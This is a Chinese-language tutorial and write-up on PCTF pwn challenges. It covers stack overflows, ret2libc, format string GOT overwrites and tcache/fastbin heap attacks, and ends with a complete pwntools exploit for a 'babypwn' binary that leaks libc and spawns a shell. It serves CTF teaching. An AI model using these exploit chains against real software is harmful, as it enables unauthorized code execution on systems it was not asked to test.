打CTF这些年,PCTF算是国内我打过之后印象比较深刻的比赛之一——比的是思路,而不是比谁背的exp多。每年PCTF的pwn方向题都不算多,但每道都值得反复琢磨。跟有些比赛疯狂堆题量不同,PCTF的pwn更偏向“一题吃透一个知识点”,出题风格干净,环境稳定,非常适合用来系统性训练pwn基本功。
这篇内容不打算按题目顺序流水账复盘,而是把pwn方向的核心东西拆开来讲:环境怎么搭、栈题怎么做、格式化字符串怎么练、堆题怎么入门、再到一道题的完整利用链怎么拼出来。无论你是刚接触pwn的初学者,还是打过几场比赛想提升稳定性的选手,这篇应该都能帮上忙。
1. PCTF pwn题全景:题目分级、考点分布与赛场策略
1.1 从一道签到题说起:PCTF的pwn出题风格
先说说PCTF整体给我的感觉。这个比赛的pwn题不会像某些比赛那样给你一个加了厚壳的“俄罗斯套娃”,也不会出一个需要你逆向三天三夜的超大型二进制。PCTF的pwn题代码量普遍不大,核心逻辑透明,漏洞点藏得很规矩——就是那种“你仔细读了就能找到,但找到之后能不能利用得起来,那就要看本事了”的类型。
以我之前打的PCTF为例,签到题通常是一道带栈溢出漏洞的简单二进制。它不会让你写什么特别复杂的ROP链,大概率就是一个ret2text。但难点往往藏在细节里:比如你需要的那个后门函数不在程序正常流程里,需要你对栈布局有清晰认知;再比如开启PIE之后,你没办法直接写死一个跳转地址,必须通过泄露地址来算偏移。
这种出题风格其实对选手的能力模型要求很高:不需要你背多少花哨的技巧,但基础必须扎实。有个形象的比喻,PCTF的pwn题就像驾考里的科目二,场地固定、项目固定,但你要是倒库没练熟,考试一样挂。
1.2 高频考点与难度曲线
我把PCTF pwn方向在过去几届中出现过的题型做了个简单分类,基本上能覆盖90%以上的题目:
| 题型 | 考点 | 难度定位 | 出现频次 |
|---|---|---|---|
| 栈溢出入门 | ret2text、ret2shellcode | 简单 | 每届必有 |
| 栈溢出进阶 | ret2libc、ROP链、栈迁移 | 中等 | 高频 |
| 格式化字符串 | 任意读、任意写、偏移计算 | 中等 | 高频 |
| 整数溢出 | 绕过长度限制、绕过校验 | 中低 | 视题目而定 |
| 堆利用 | UAF、double free、tcache poisoning | 困难 | 稳定出现 |
| 栈相关高难 | 泄露canary、ORW、SROP | 困难 | 偶尔 |
PCTF的难度曲线很典型:前两道送分题,中间两道拉开差距,最后一道压轴堆题基本决定排名。所以如果你目标是“不挂零”,把前两题的栈溢出和格式化字符串练熟就够了;但如果你想要名次,堆题这块逃不过。
1.3 分值分布与赛场时间分配策略
关于赛场策略多说两句。PCTF通常持续一到两天,pwn方向题目一般4-5道,总分占比大约在20%-30%之间。我的建议是:
- 开赛前两小时优先解决签到题和简单栈题。这两个是保底分,别拖。
- 签到题之外的栈题,如果半小时内没思路,先标记下来,转去做格式化字符串。因为格式化字符串套路化程度高,摸清偏移之后基本就是写脚本的事。
- 堆题放到比赛后半程集中攻。没有足够的调试时间不要轻易碰堆,堆题的利用链长,出一点偏差就是gdb调试一小时。
这个时间分配是基于PCTF题量不大、但每道题质量高的特点设计的。你要是分配不当,容易陷入“一道堆题卡死,其他题没时间看”的陷阱。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 入坑pwn的必要准备:环境配置与核心工具链
2.1 虚拟机与基础依赖安装
pwn这个方向,Windows上不是不能做,但体验确实差不少。绝大多数pwn题是Linux ELF文件,所以你至少需要一个Linux环境。我用的是Ubuntu 18.04虚拟机,配了gcc、gdb、python2和python3。很多人纠结到底用哪个发行版,其实都差不多,关键是要有一个干净、可控的环境。
虚拟机配置有个容易被忽略的点:建议把内存分配设置得高一点,至少4GB。因为调试堆题时经常要同时开gdb、pwntools脚本、IDA等多个工具,内存不够会导致系统卡顿,影响调试效率。
基础依赖安装命令如下:
bash复制sudo apt update
sudo apt install -y gcc gdb git python3 python3-pip python2
pip3 install --upgrade pip
Ubuntu 18.04默认的python3环境有点旧,建议顺手装一下python3.8以上版本。现在很多exp脚本用到了较新的Python语法,旧版本跑不起来很尴尬。
2.2 pwntools:pwn核心库的安装与配置
pwntools是pwn方向最核心的Python库,没有之一。它把网络交互、汇编、反汇编、ELF解析、ROP链建造这些功能全部封装好了,如果一个一个自己手写,效率会低到无法接受。
bash复制pip3 install pwntools
装完之后验证一下:
bash复制python3 -c "from pwn import *; print('ok')"
如果提示没有找到pwn模块,大概率是pip和python版本对不上。这种情况建议用conda创建一个pwn专用环境,再在里面装pwntools,避免各种依赖冲突。
pwntools有几个最常用的模块,我日常写exp基本离不开:
remote()/process():与目标交互,分别是远程和本地ELF():解析ELF文件,提取符号、地址ROP():自动寻找gadget,构建ROP链fmtstr_payload():自动化生成格式化字符串payloadcyclic()/cyclic_find():通过cyclic pattern确定溢出偏移
2.3 三件套:checksec、file、readelf
拿到一道pwn题,第一件事不是急着看代码,而是先做基本的信息收集。我每次都是固定三连:
bash复制checksec ./pwn
file ./pwn
readelf -S ./pwn
checksec能告诉你这个程序开了哪些保护机制——NX、Canary、PIE、RELRO、FORTIFY。这一步直接决定你用哪种攻击思路:
- NX开启:栈不可执行,不能直接跳shellcode,要用ROP
- Canary开启:栈溢出前要先泄露canary,否则直接崩
- PIE开启:程序基址随机化,需要泄露地址再计算偏移
- Full RELRO:GOT表不可写,不能通过改GOT表劫持流程
file可以看到程序的架构(x86还是x64)、是否静态编译、是否去符号。静态编译的程序通常比较大,但好处是不需要libc匹配。
readelf -S可以看各个段的地址偏移。对于手算ROP链、判断有无奇怪的段(比如可写的非栈段)很有用。
2.4 gdb调试器搭配:pwndbg或peda选一个
gdb是pwn调试的主力工具,但裸gdb用起来实在不好看。我推荐安装pwndbg,它有以下几个优点:
- 自动显示寄存器和栈内容
- 对heap操作有专门的命令集成
- 直接支持cyclic pattern查找
search-pattern命令在堆题里找地址非常方便
安装pwndbg很简单:
bash复制git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
如果你用惯了peda也可以继续用peda,但建议别来回切换,因为配置混在一起会互相干扰。我见过不少新手两个都装了,结果gdb启动报错,半天排查不出来。
还有个小建议:本地调试时要把ASLR关掉,保证栈地址固定,便于理解漏洞利用的每一个环节:
bash复制sudo sysctl -w kernel.randomize_va_space=0
注意,这只是本地调试方便,远程依然开着ASLR,最终的exp必须要能应对随机化。
3. 栈溢出:PCTF pwn的送分题与保分题
3.1 栈溢出的本质:函数调用栈是怎么被破坏的
栈溢出漏洞的原理一句话就能说清:程序往栈上写入的数据超过了缓冲区大小,把缓冲区后面存放的返回地址、局部变量、栈指针给覆盖掉了。但要说清楚怎么利用,就需要理解函数调用栈的布局。
当一个函数被调用时,栈上会依次压入:调用者的返回地址、旧的rbp、函数的局部变量。在x64下,函数参数优先通过寄存器传递(rdi、rsi、rdx、rcx、r8、r9),但如果参数过多或调用syscall时,还是会用到栈。
典型的栈布局:
code复制高地址
+------------------------+
| 调用者栈帧 |
+------------------------+
| 返回地址 | <-- 劫持这里就能控制程序流程
+------------------------+
| 旧 rbp |
+------------------------+
| 局部变量区 | <-- 缓冲区从这开始
+------------------------+
低地址
当一个缓冲区没有做边界检查,比如使用gets()、read()、strcpy()时,我们写入的数据就会从局部变量区一路向上覆盖,直到把返回地址替换成我们想要的地址。
3.2 ret2text:最难的是找到那个偏移量
ret2text是最基础的栈溢出利用方式。原理很简单:程序里已经存在一个我们没有在当前流程中调用到的函数(通常是后门函数、system("/bin/sh")之类),我们只需要通过栈溢出把返回地址改成它的地址就行。
难点在于:确定从缓冲区起始位置到返回地址的偏移量。这里我推荐用cyclic pattern,比人肉算术快得多,还能避免算错:
python复制from pwn import *
io = process('./pwn')
payload = cyclic(200) # 生成200字节的pattern
io.sendline(payload)
io.wait()
程序崩溃后,用gdb查看rip寄存器的值:
bash复制(gdb) x/wx $rsp
得到的那个值,用cyclic_find()爆破:
python复制offset = cyclic_find(0x6161616c)
print(f"Offset: {offset}")
当然也可以用IDA直接看变量的偏移,然后加上8字节的rbp,就是返回地址的偏移。两种方式结合起来验证,基本不会出错。
还有一个容易踩的坑:不同的输入函数对payload尾部的处理不一样。gets()会在末尾追加\x00,read()不会。这可能导致你精心构造的地址被截断或破坏。所以写exp前,先确认目标程序用的是哪个输入函数。
3.3 ret2libc与libc版本识别:拿到system和/bin/sh
PCTF的入门级栈题喜欢出ret2text,但稍微进阶一点的题目就会把后门函数删掉,逼着你去调用libc里的函数。这就是ret2libc。
思路是:既然程序本身没有system,但libc里面有,那我们只需要把函数的返回地址改成system,再把返回地址后面的参数位置上放好"/bin/sh"字符串的地址,就能getshell了。
但这里有一个经典问题:开启了ASLR之后,libc的基址是随机的,怎么知道system在哪儿?答案是先泄露。通常利用程序本身存在的输出函数(puts、printf、write)打印出某个libc函数的真实地址,然后通过偏移计算libc基址,再算出system和"/bin/sh"的地址。
偏移计算的核心公式:
code复制libc_base = leaked_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
有没有libc数据库能直接查偏移呢?有,最常用的就是LibcSearcher和libc-database。本地题目一般给的是比赛配套的libc文件,那就直接用它算。远程的题目如果没有给libc,就要用LibcSearcher通过符号名和最后12位来匹配。
3.4 遇到Canary怎么办:泄露与爆破两条路
Canary是编译器在栈上放置的一个随机值,函数返回前会检查这个值是否被修改,如果变了就直接终止程序。这意味着我们不能直接暴力覆盖返回地址。
绕过思路有两个方向。
第一个是泄露。如果程序存在任意读漏洞(比如格式化字符串、输出可控内容的函数),那就先把Canary读出来,然后在payload中原封不动放回去。Canary的特点是它的最低字节是\x00,这是为了截断字符串复制而设计的,所以泄露时要把这个特性考虑进去。
第二个是爆破。Canary只有3个字节是随机的(最低字节固定为\x00),如果程序fork出一个子进程处理输入,每次的Canary又不重新生成,那么就可以逐字节爆破。比赛里确实出现过这种题,但概率不高,爆破比较耗时且动静大。
在PCTF这种赛制下,我建议优先考虑泄露路线。练好格式化字符串,能在多数场景下顺带捞出Canary和服务端的内存布局。
4. 格式化字符串:PCTF pwn的高频送分题
4.1 格式化字符串漏洞的根源:printf把用户输入当格式串用了
格式化字符串漏洞可能是因为一句printf(buffer),而正确写法是printf("%s", buffer)。当buffer里含有%d、%x、%n这类转换说明时,printf会把它当成格式串,从栈上取参数。
攻击者的收益有两块:
- 任意读:用
%p、%s、%x可以直接把栈上和寄存器里的值打印出来。这可以用来泄露栈地址、libc地址、Canary。 - 任意写:用
%n可以把已经打印的字符数写入指定地址。结合逐字节写入,就能实现任意内存写。
因此,格式化字符串简直是一个自带泄露和写入的小型任意读写原语,极其好用。
4.2 定位参数偏移:fmtarg一把梭
格式化字符串利用的第一步,是搞清楚我们控制的数据在printf参数列表里排第几个。这个偏移决定后续payload怎么写。
最常见的做法是用一串%p.%p.%p...逐次查看。也可以直接借助pwntools的fmtarg工具:
python复制from pwn import *
context.log_level = 'error'
elf = ELF('./fmt')
io = process('./fmt')
io.sendline('AAAA' + '%p.' * 20)
leak = io.recvline()
print(leak)
输出会把栈上内容打印出来,观察偏移位置的那些值,比对栈里的0x41414141(AAAA的十六进制),就能确定我们可控内容的起始位置。通常以%6$p、%7$p等位置出现。
这里有一个经验:x64下,printf的前六个参数分别来自rdi、rsi、rdx、rcx、r8、r9,从第七个参数开始才从栈上取。所以我们的输入一般会在第6个参数之后出现。多数情况下偏移是6、7、8,也有的时候会是10。建议用Python脚本把偏移5-20的名字都列一遍,比对确认。
4.3 从任意读到任意写:%n的完整利用流程
任意写的原理是利用%n,它的作用是把已经输出的字符数写入一个地址。我们通过控制输出的字符数量,配合%hn(写入2字节)和%hhn(写入1字节),就能精确改造任意内存地址处的值。
最典型的利用场景是改GOT表。比如目标程序有printf和system,我们可以把printf的GOT地址改成system的地址,之后程序只要调用printf("/bin/sh"),实际上就会执行system("/bin/sh")。
具体做法分两步:
- 把目标地址拆成两半(高2字节和低2字节),分别写入。
- 通过调整填充长度,让
%hn写入的数值恰好等于目标函数的地址。
这种手工计算虽然繁琐,但在很多题目里是绕不开的。用pwntools的fmtstr_payload可以一键生成:
python复制payload = fmtstr_payload(offset, {printf_got: system_addr}, write_size='short')
write_size='short'表示用2字节写,更稳定,速度也更快。
4.4 自动化生成payload的原理:fmtstr_payload为什么有时不好使
fmtstr_payload虽好,但有时候会发现生成的payload太长,超过了输入缓冲区的长度,或者程序中会用字符串长度校验、过滤某些字符。这时候就要退回到手写payload的老路。
手写时要先计算目标地址在栈上的偏移,然后把地址段放到payload头部,跟%hn的写入请求配对。经验法则是:每写4字节地址,就对应一个写入描述符。
举个例子,如果你要改两个地址,且偏移是6,那么布局大致是:
code复制[addr1_high][addr1_low][addr2_high][addr2_low][%123c%6$hn][%456c%7$hn]...
计算好每个%hn输出的字节数,让前序打印字符数恰好等于目标地址值。这就是手写格式化字符串的全部逻辑。
5. 堆题入门:PCTF压轴题的主要形态
5.1 UAF:堆题里最友好的漏洞类型
UAF(Use After Free)是堆题里最友好的一类漏洞。一个对象被释放之后,如果指针没有被置空,之后还能继续使用,就会造成UAF。
利用方式通常是这样的:
- 程序有edit、show、delete这些功能
- delete之后还能edit和show
- 于是你可以在delete后继续edit这个堆块,往里面写伪造的结构体数据
最经典的玩法就是攻击tcache。glibc 2.27及以上版本,tcache有一个特点:释放的堆块会进入一个单链表,且这个链表的fd指针直接存在堆块内容开头。如果你能在free后再edit,把fd改成任意地址,那么下次malloc时就能把这个地址分配出来,实现任意地址分配。
在PCTF的题目里,UAF题一般会限制edit的次数,或者限制可分配大小。这时候关键是规划好利用链,一次free加两次malloc就完成控制。
5.2 tcache poisoning:从double free到任意分配
tcache poisoning的基础是tcache bin的设计漏洞。glibc在把堆块放入tcache时,只检查了size对齐,没有检查这个堆块是否已经在tcache里(glibc 2.27之前)。于是你就可以把一个堆块free两次,造成double free,让tcache bin的链表里出现同一个堆块两次。
之后你malloc出来,就能读到它的fd,把它改写成目标地址。当程序再次malloc时,你就会拿到目标地址处的堆块。这个目标地址通常被选为__free_hook或malloc_hook这样的hook函数地址,把hook改成system,然后触发一次free("/bin/sh")就getshell了。
现在的PCTF题目一般会给glibc 2.27到2.31版本的libc,tcache机制都存在,但safe-linking机制在2.32之后加入,会干扰直接改fd的操作。所以做题前先看版本,2.32以上就要先泄露堆地址,再对fd做异或变换。
5.3 fastbin attack:老版本glibc的经典打法
如果PCTF给的是glibc 2.23或更早版本的libc(少见但出现过),那就要考虑fastbin attack。fastbin的特点是不检查size的完整性,或者检查得很松。Double free后,你可以把fastbin链表的fd改成任意地址,malloc两次之后就能在目标地址写数据。
fastbin attack和tcache poisoning在思路上很像,区别主要在于校验。fastbin对size字段有检查,所以你伪造的目标地址处必须有一个合法的size字段。这是很多新手容易卡住的地方。
解决方式通常是利用堆地址空间内的已有对象——比如一个大堆块的header里就有一个天然的size字段可以借用。
5.4 堆调试技巧:别盲目爆破,先搜堆上的特征值
堆题调试比栈题复杂太多,我个人的经验是:先在gdb里把堆布局看明白,再动手写利用。
几个常用gdb/pwndbg命令:
bash复制heap # 列出所有堆块的地址和状态
bins # 查看各bins的链表内容
chunk 0x5555555592a0 # 查看指定堆块内容
search-pattern "AAAA" # 在堆上搜索特征值
调试时遇到崩溃,先看是在哪条指令崩的,再回溯它访问了哪个地址。如果这条指令是在free或者malloc内部,多半是堆元数据被破坏了;如果是在正常函数里,那就可能是函数指针被替换了。
堆题的exp调试耗时经常超过一半时间,所以心态要稳。我一般先在本地加context.log_level = 'debug'跑通,再把log关掉跑远程。
6. 实战复盘:一道PCTF pwn题的完整解题链路
6.1 题目信息收集与静态分析
这里我用一道典型的PCTF栈题来做完整演示。题目名就叫babypwn,给了一个ELF文件和一个libc.so.6。先做信息收集:
bash复制checksec babypwn
输出显示:
code复制Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
没有Canary、没有PIE,还有Partial RELRO——这在暗示什么?可以改GOT表,而且没有canary意味着栈溢出可以直接覆盖返回地址。
用IDA打开静态分析,发现主函数逻辑:
c复制void vuln() {
char buf[64];
puts("Input:");
read(0, buf, 0x100);
puts("Done");
}
典型的栈溢出程序。没有后门函数,但是有puts、read这些PLT函数,可以构造ROP链,先泄露libc地址,再回到vuln,第二次利用拿到shell。
6.2 漏洞定位与保护机制绕过思路
偏移量怎么确定?缓冲区64字节,加上rbp的8字节,返回地址在偏移72处。用cyclic验证一遍更稳妥。没有Canary意味着不用操心栈里的随机值;没有PIE意味着程序段地址是固定的,可以直接用PLT和GOT地址。
我的利用思路是两段式:
- 调用puts(puts@got),把puts的真实地址打印出来。返回地址设回vuln,以便进行第二次攻击。
- 收到地址后,用libc算出基址,进而算出system和"/bin/sh"的地址,再通过ROP调用system("/bin/sh")。
6.3 利用链设计与gdb断点验证
先在本机关掉ASLR,用gdb在read后的返回地址处打断点,确认偏移。然后写第一段exp:
python复制from pwn import *
context.binary = './babypwn'
context.log_level = 'debug'
libc = ELF('./libc.so.6')
elf = ELF('./babypwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = 0x4006b7 # vuln函数地址
payload = b'A' * 72
payload += p64(puts_plt)
payload += p64(vuln)
payload += p64(puts_got)
io = process('./babypwn')
io.sendline(payload)
io.recvuntil('Done\n')
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
print(f"puts leak: {hex(leak)}")
这一段跑通之后,应该能看到puts的真实地址。如果你发现打印出来的地址末尾是0x6a0之类的偏移,说明匹配到了libc符号。
6.4 完整exp与远程连接细节
拿到基址后,第二段ROP可以直接调用system。终极exp:
python复制from pwn import *
context.binary = './babypwn'
libc = ELF('./libc.so.6')
elf = ELF('./babypwn')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln = 0x4006b7
def get_libc(io):
payload = b'A' * 72
payload += p64(puts_plt)
payload += p64(vuln)
payload += p64(puts_got)
io.sendline(payload)
io.recvuntil('Done\n')
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
return leak
# 本地
io = process('./babypwn')
leak = get_libc(io)
libc.address = leak - libc.symbols['puts']
system = libc.symbols['system']
binsh = next(libc.search(b'/bin/sh'))
payload = b'A' * 72
payload += p64(ROP(elf).find_gadget(['pop rdi', 'ret'])[0])
payload += p64(binsh)
payload += p64(system)
io.sendline(payload)
io.interactive()
远程连接时,只要把process('./babypwn')换成remote('host', port)即可。需要注意的有两点:
- 远程服务器开了ASLR,但libc基址一定能被泄露出来,所以ret2libc流程不受影响
- 如果远程环境里没有给libc文件,要先用LibcSearcher匹配正确的libc,再把
libc.address换成匹配到的基址
这道题跑通之后,栈溢出类的基础功就差不多达标了。遇到同样架构、同样保护机制的题目,改动payload里的偏移值和地址就行。
7. 写在最后的经验感悟:pwn这条路怎么越走越稳
打了这么多场比赛,最大的体会是pwn功夫在赛外。比赛只是检验,平时系统性刷题才是水平提升的关键。给大家几个建议:
- 每道题做完,把exp保存好,写一个简短的writeup,记录漏洞点、利用链和踩坑点。半年之后回头看,这就是最宝贵的学习材料。
- 做题别只看writeup,要自己动手调。再简单的题,用gdb跑一遍和看明白原理完全是两码事。
- 对于格式化字符串和栈溢出这两块,练到“闭眼能写exp”的程度,因为PCTF的送分题基本就靠这些基本功扛。
我也用过很多现成工具,pwntools的fmtstr_payload、one_gadget、LibcSearcher、ROPgadget,这些工具极大提高了写exp的效率。但工具只是辅助,核心是对漏洞机制的理解。工具报错的时候,最先怀疑的永远是偏移算错了,而不是工具本身有问题。
如果你刚接触pwn,建议从ret2text开始,一题一题做,把栈布局搞懂;然后练格式化字符串的任意读和任意写;最后再触碰堆。PCTF的pwn题很适合作为这条进阶路线的练手靶场,题量不大,但每一道都能让你踩到值得踩的坑。
慢慢来,pwn是个动手才见真章的领域。踩坑越多,经验越厚,下一次比赛就能稳一分。
